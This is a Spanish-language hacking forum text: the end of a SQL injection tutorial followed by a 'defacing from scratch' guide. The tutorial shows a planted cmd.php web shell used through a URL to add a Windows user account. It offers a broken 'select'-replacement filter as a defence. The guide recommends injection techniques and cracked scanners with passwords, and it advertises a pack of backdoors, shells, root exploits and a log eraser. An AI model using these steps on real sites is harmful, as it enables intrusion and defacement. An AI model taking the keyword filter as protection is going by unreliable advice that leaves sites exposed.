La explicacion seria simple como la estructura de Easy PHP hizo que el resultado del archivo
creado terminara en mysql/data lo que yo hice fue dar dos veces para atras e ir al directorio www de
Easy PHP terminando creando el archivo cmd.php

Ahora solo es cuestion de hacer esto

http://127.0.0.1/cmd.php

Y listo tenemos una cosa rara de shell que ejecuta comandos

Un ejemplo seria

http://127.0.0.1/cmd.php?agarrala=net user /add Jose 123

Este comando es porque mi SO es Windows ,la mayoria de los SO de las webs son linux y los directorios apache varian solo es cuestion de ir probando.


0x10:Evitar estos ataques

Ahora que ya eh explicado casi todo es hora de decir como defenderse de estos ataques
Hay varios formas pero solo nombrare algunas

Código: [Seleccionar]
Language: PHP
$user =(int)$_GET['id'];


Con esto queremos decir que si se introduce algun dato o valor en la inyeccion no sera mostrada

Ahora hay que usar otra para evitar el "select"
Código: [Seleccionar]
$user = $_GET['id'];
$user = str_replace("select","9999999999999",$user);


Ahora este codigo no esta diciendo que si se utiliza la palabra "select" esta sera reemplazada por
"9999999999999".




Defacing de la manera correcta desde 0

Defacing de la manera correcta desde 0

E visto que en muchos foros preguntan:


quiero aprender a defecear por donde comienzo?
a lo que usualmente le contestan
aprende a usar SSS o acunetix,escanea la pagina,y busca su respectivo exploit en milw0rm y explotala,busca dorks en www.google.com[/b]]www.google.com etc etc

pero realmente no se han detenido a pensar que realmente no aprenderia el usuario nada.ni siquiera de que y de donde viene una vulnerabilidad en una aplicacion web.

y tampoco los encaminan a que aprendan programacion por que la mayoria de las veces las vulnerabilidades provienen o del administrador del server o del administrador de la web o del script web que este utilizando.

o sea que en resumidas cuentas a la hora de que el usuario empiece a usar sus scanners y explotar con sus exploits de milw0rm no tiene la menor idea de por que vino la falla.

"pero diran pero si yo quiero solamente es defecear la pagina"
si es asi continua usando los scanners y explotando scripts prefabricados que salen vulnerables en milw0rm y no sigas leyendo.

Aqui tambien encontraras todas las herramientas renombradas con sus respectivos enlaces de descarga que estan marcado de este color asi que pueden visitar los enlaces ;)

* Por Que Este Paso A Paso?
Ya eso lo conteste arriba creo :)

* Cual Es El Objetivo
El Objetivo es que los usuarios,clarifiquen su camino y no se pierdan en lo que es el defacing,y que muestren interes en una rama del hacking interesante como lo es la Busqueda de vulnerabilidades a nivel web

* Que Aprendere?
Lo mejor del under,que uno aprende hasta que tu mismo quieras si eres autodidacta y sabes dividir tu tiempo aprenderas todo

A continuacion ire recopilando lo que si debes ocupar si quieres realmente convertirte en un "defacer" (si asi se le llama) xD

* Por Donde Empiezo
ok por donde empieza la creacion de todo en el internet Programacion
el internet se mueve gracias a cientos de lenguajes de programacion y por ahi debes comenzar:
1-Html Al Menos Basico
@html es un lenguaje de programacion por el cual estan programadas muchas paginas webs y seguramente sea el que quieras usar para poner tus index en tu camino hacia zone-h xD
* Html Info Wikipedia
* Tuto Html by LogMare
* HTML Y CSS
******************
2-PHP Intermedio
@PhP Es Un lenguaje a nivel web similar al Html pero este tiene la ventaja que hace nuestros sitios dinamicos y realmente se pueden hacer cosas maravillosas con el...
* PhP info Wikipedia
* Manuales PhP
* Recopilacion De PhP
* Manual en linea PhP
******************
3-Sql
@Bueno esto es un lenguaje que esta de una forma ligado a la programacion web y al defacing por que es un lenguaje del que se ocupa de gestionar base de datos de sitios webs y deferentes estructuras.
* SqL Wikipedia Info
* Diversos Libros y Manuales Sobre SQL
*******************
4-Perl
@Perl es un lenguaje por excelencia limpio,organizado,y potente..por el cual es imprcindible ya que su potencia abarca en lo que respecta a la programacion de exploits crear tus propias tools e inclusive automatizar tus maldades
* Perl Wikipedia Info
Recopilacion De Tutos De Perl
#####################
Bueno por ahora nos quedamos en esos lenguajes no es obligatorio pero es imprecindible a la hora que quieras avanzar y quieras solo descubrir fallos en sistemas u otras cosas (Pentester)

* Que Tecnicas Usare En el defacing?
1-SqlInjection
* Sql Injection Wikipedia Info
* Error based SQL Injection by AnalyseR (ingles)
* Blind MySQL Injection by ka0x
* Técnicas de inyección en MySQL by ka0x
* MYSQL BLIND SQL INJECTION by Pepelux
***********************
2-LFI(Local File Inclusion)
* Remote / Local File Inclusion Exploits by Sunjester(ingles)
* f**king the Web Apps LfI BY josS
***********************
3-XSS(Cross Site Cripting)
* XSS Wikipedia Info
* Cross Site Scripting [XSS] by sl4xUz
* XSS (Cross Site Scripting)Evasion De Filtros
***********************
4-RFI (Remote File Include)
* RfI Wikipedia Info
* RFI 101 Basico by blood_rec
* R.F.I. Rooting (Linux Server and Safe Mod: OFF) by satanicstar (ingles)
************************

bueno eso son las tecnicas mas comunes por las cuales deberias empezar en esto del defacing....
* Que Herramientas Ocupo?
@No Nesesitas Todas Estas Herramientas Que enlistare pero las Enlisto Para Que te hagas alguna idea de lo que podrias utilizar
1-Mucha Paciencia y Cafe
La Nesesitaras ya que esto no es entrar ver y defecear y ya..

2-Nikto Scanner de Vulnerabilidades(linux)
un scanner para la plataforma de linux con una buena base de datos de vulnerabilidades para aplicaciones webs

3-Zenmap Scanner de Puertos
siempre un scanner de puertos es imprecindible a la hora de ver los puertos que tiene abierto la victima y este es muy bueno ya que te indica los servicios que gestiona cada puerto ;)
4-NetCatHerramienta de Monitoreo de Red

5-SSS Scanner de Vulnerabilidades (Windows) ##pass:hackhell
Shadow Security Scanner es un completísimo y efectivo escáner de vulnerabilidades para la plataforma de Windows nativa, aunque también examina servidores de cualquier otra plataforma revelando brechas en Unix, Linux, FreeBSD, OpenBSD y Net BSD.

6-Acunetix Scanner De Vulnerabilidades (Windows) ##pass:just4you
Acunetix Web Vulnerability Scanner, una sencilla herramienta con la que podrás analizar todas las posibles entradas de hackers que pueden producirse en tu sitio web y así cerrarlas.

7-Cygwin (Compilador)
Informacion Aqui

8-Metasploit Framework de Hacking Completa
No muy nesesaria esta tool pero trae muy buenas herramientas mas info Aqui

no voy a seguir enumerando herramientas por que no terminaria y lo que queremos aqui es que vayan desde 0 hasta no se 1,000 xD

hay muchas tools que pueden ocupar como scripts en diferentes lenguajes,perl,C++,PhP,Ruby

por ejemplo:
LFI fUZZER (para buscar Lfi)
En fin si enumero no terminamos les ahorre el trabajo preparandole un Big Pack (Paquete Grande) El Cual Contiene todo lo que nesesitas,Herramientas,Manuales,Shells,Perl Scripts,Python Scripts,Backdoors,Sources...

De todo un gran pack por el cual querras darle una buena revisada...
reitero que algunas de las herramientas que estan en el paquete no fueron testeadas asi que no me hago responsable de horrores ni danos en su pc.

si enumero todo el contenido del paquete realmente este post se hace larguisimo si asi lo quieren preparo un texto y se los publico por aqui solo me dejan saber
/backdoors
/ManulesDefacing
//Mass Defacer And Log Eraser
/perltools
/phyton to0ls
/Reverse to0ls
/Ro0t 3xpl0its
/Scanners
/shells
/sources
/to0ls

Descargalo Aqui

###########################
Ya con esto tienen realmente por donde empezar y realmente no nesesitan usar todas las tools todo es por paso comienzen por la programacion luego pasan por partes a aprender las teknikas..

recuerden que no puedes aprender las tecnicas primero sin aprender programacion por que realmente no aprenderas comno funcionan las cosas..

la programacion fue lo que comenzo todo y asi mismo lo terminara escoje el camino que quieras recorrer y descubre el mundo de la busqueda de vulnerabilidades..

yo por mi parte no soy defacer no me gusta andar poniendo 1,000 index y decir soy el mas Pingon de la red...megusta buscar vulnerabilidades y notificarlas al administrador pero ya esta de ustedes escoger lo que quieren hacer con sus conocimientos

Esta recopilacion fue hecha con motivos educacionales ni este servidor ni el sitio donde a sido posteado se hace responsable de el uso que le den,asi como tambien los autores de los manuales que han sido recopilados...